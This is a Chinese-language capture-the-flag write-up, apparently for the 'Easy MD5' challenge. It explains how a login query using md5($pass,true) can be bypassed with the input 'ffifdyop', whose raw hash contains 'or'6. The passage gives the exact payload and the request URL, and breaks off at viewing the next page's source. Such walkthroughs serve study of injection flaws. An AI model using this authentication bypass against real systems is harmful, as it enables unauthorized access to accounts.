打开之后是一个查询框
看到标签有SQL注入,宽字节,尝试sql注入测试;测试了半天一点反应都没有
抓包查看也没有什么特别的地方,burp模拟发包,看到:
HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 18 Jul 2023 11:19:58 GMT Content-Type: text/html; charset=UTF-8 Connection: close X-Powered-By: PHP/7.3.22 hint: select * from 'admin' where password=md5($pass,true) Content-Length: 3107 ......
hint: select * from 'admin' where password=md5($pass,true)
md5参数为true,返回原始16字符二进制格式
如果md5的值hex之后为 ’ or ‘ 加上abcdefg...
select * from `admin` where password=''or'abcdefg'
当‘ or ’ 后面的值为True是,就能构成万能密码,实现绕过
MySQL的一个特性:
在mysql里面,在用作布尔型判断时,以1开头的字符串会被当做整型数。
要注意的是这种情况是必须要有单引号括起来的,比如password=‘xxx’ or ‘1xxxxxxxxx’,那么就相当于password=‘xxx’ or 1 ,也就相当于password=‘xxx’ or true,所以返回值就是true。
当然在我后来测试中发现,不只是1开头,只要是数字开头都是可以的。 当然如果只有数字的话,就不需要单引号,比如password=‘xxx’ or 1,那么返回值也是true。(xxx指代任意字符)
select * from `admin` where password=''or'1abcdefg' ---> True select * from `admin` where password=''or'0abcdefg' ---> False select * from `admin` where password=''or'1' ---> True select * from `admin` where password=''or'2' ---> True select * from `admin` where password=''or'0' ---> False
//引用于 http://mslc.ctf.su/wp/leet-more-2010-oh-those-admins-writeup/
这里提供一个最常用的:ffifdyop,该字符串md5加密后若md5()的参数为True时会返回 'or'6
所以如果这里我们输入ffifdyop,后端的SQL语句会变成:
select * from `admin` where password=''or'6' ---> True
———— 摘自[BUUOJ记录] [BJDCTF2020]Easy MD5 - Ye'sBlog - 博客园 (cnblogs.com)
输入:
http://node4.anna.nssctf.cn:28135/leveldo4.php?password=ffifdyop
跳转到:
http://node4.anna.nssctf.cn:28135/levels91.php
查看页面源码: